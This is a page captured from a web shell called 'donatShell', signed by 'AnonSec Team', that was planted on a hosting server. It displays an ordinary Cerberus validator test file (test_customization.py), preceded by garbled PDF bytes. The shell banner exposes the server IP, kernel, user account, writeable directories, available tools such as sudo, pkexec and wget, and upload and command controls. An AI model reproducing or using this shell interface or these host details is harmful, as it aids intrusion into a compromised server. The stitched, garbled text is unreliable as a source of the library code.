%PDF-1.5 %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµù Õ5sLOšuY donat Was Here
donatShell
Server IP : 188.40.95.74  /  Your IP : 216.73.216.142
Web Server : Apache
System : Linux cp01.striminghost.net 3.10.0-1160.119.1.el7.tuxcare.els13.x86_64 #1 SMP Fri Nov 22 06:29:45 UTC 2024 x86_64
User : vlasotin ( 1054)
PHP Version : 5.6.40
Disable Function : NONE
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /opt/alt/python35/lib/python3.5/site-packages/cerberus/tests/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : /opt/alt/python35/lib/python3.5/site-packages/cerberus/tests/test_customization.py
# -*- coding: utf-8 -*-

from cerberus import Validator
from cerberus import errors
from cerberus.tests import assert_fail, assert_success


def test_contextual_data_preservation():

    class InheritedValidator(Validator):
        def __init__(self, *args, **kwargs):
            if 'working_dir' in kwargs:
                self.working_dir = kwargs['working_dir']
            super(InheritedValidator, self).__init__(*args, **kwargs)

        def _validate_type_test(self, value):
            if self.working_dir:
                return True

    assert 'test' in InheritedValidator.types
    v = InheritedValidator({'test': {'type': 'list',
                                     'schema': {'type': 'test'}}},
                           working_dir='/tmp')
    assert_success({'test': ['foo']}, validator=v)


def test_docstring_parsing():
    class CustomValidator(Validator):
        def _validate_foo(self, argument, field, value):
            """ {'type': 'zap'} """
            pass

        def _validate_bar(self, value):
            """ Test the barreness of a value.

            The rule's arguments are validated against this schema:
                {'type': 'boolean'}
            """
            pass

    assert 'foo' in CustomValidator.validation_rules
    assert 'bar' in CustomValidator.validation_rules


def test_issue_265():
    class MyValidator(Validator):
        def _validator_oddity(self, field, value):
            if not value & 1:
                self._error(field, "Must be an odd number")

    v = MyValidator(schema={'amount': {'validator': 'oddity'}})
    assert_success(document={'amount': 1}, validator=v)
    assert_fail(document={'amount': 2}, validator=v,
                error=('amount', (), errors.CUSTOM, None,
                       ('Must be an odd number',)))

Anon7 - 2022
AnonSec Team